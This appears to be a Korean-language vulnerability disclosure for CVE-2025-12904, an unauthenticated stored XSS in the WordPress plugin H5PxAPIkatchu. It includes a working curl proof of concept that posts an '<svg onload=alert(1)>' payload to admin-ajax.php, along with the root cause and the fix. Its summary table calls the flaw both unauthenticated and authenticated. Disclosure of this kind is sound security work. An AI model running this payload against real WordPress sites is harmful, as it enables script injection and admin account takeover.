SNORDIAN's-H5PxAPIkatchu-CVE-보고서

CVE-2025-12904에 대한 공개

CVE-2025-12904 - SNORDIAN's H5PxAPIkatchu의 취약점

이 저장소는 otacke가 개발한 WordPress 플러그인인 SNORDIAN's H5PxAPIkatchu <= 0.4.16에서 발견된 취약점을 공개합니다.

🛠 영향을 받는 버전

제품: SNORDIAN's H5PxAPIkatchu
버전: v0.4.16
URL: https://wordpress.org/plugins/h5pxapikatchu/

🔒 할당된 CVE

CVE ID	유형	구성 요소	영향
CVE-2025-12904	insert_data를 통한 비인증 저장형 크로스사이트 스크립팅	class-table-view.php	인증된 공격자가 JS를 실행할 수 있음

🧾 상세 설명

CVE-2025-12904 — insert_data를 통한 비인증 저장형 크로스사이트 스크립팅

영향을 받는 구성 요소: h5pxapikatchu 관리자 페이지
공격 경로: POST 요청을 통한 비인증
트리거: 공격자는 insert_data 액션을 악용하여 임의 스크립트를 저장함으로써 관리자 인터페이스에 악성 스크립트를 주입할 수 있습니다.

curl -i -X POST 'http://localhost:8080/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=insert_data' \
  --data-urlencode 'xapi={
    "object":{"id":"http://localhost:8080/?id=2"},
    "result":{"response":"<svg onload=alert(1)>"}
  }'

※ object 내의 id가 존재하지 않으면 실패합니다.

영향: 저장된 스크립트가 실행될 수 있으며, 계정 탈취와 같은 심각한 피해를 초래할 위험이 있습니다.

❓취약점 발생 원인

insert_data() 함수는 권한 검사를 수행하지 않아 인증 없이 악성 입력이 저장될 수 있었습니다. 또한 이러한 항목은 관리 인터페이스에서 이스케이프되지 않은 채 표시되었습니다.

insert_data() 함수는 current_user_can을 사용하여 권한 없는 실행을 방지할 수 있습니다.
echo $value 대신 esc_html($value)을 사용하면 XSS 실행을 방지할 수 있습니다.

한마디

PoC를 만드는 것이 정말 힘들었다.

--data-urlencode 'xapi={
    "object":{"id":"http://localhost:8080/?id=2"},
    "result":{"response":"<svg onload=alert(1)>"}
  }'

이 부분을 재현하는 데 시간을 너무 많이 써버렸다. curl 명령어를 더 잘 다룰 수 있게 되고 싶다. 그리고 이 플러그인... 이것저것 괜찮은 건가? 특히 이름이라든가, 말이지.

🔍 발견자

이름: MooseLove
역할: 독립 보안 연구원 / 버그 헌터
연락처: 요청 시 제공

📚 참고 자료

제품: https://wordpress.org/plugins/h5pxapikatchu/

⚠️ 라이선스

본 보안 권고는 공공 보안 인식 제고를 위해 제공됩니다. 출처를 밝히면 자유롭게 공유할 수 있습니다.

SNORDIAN-s-H5PxAPIkatchu-CVE-Report

인기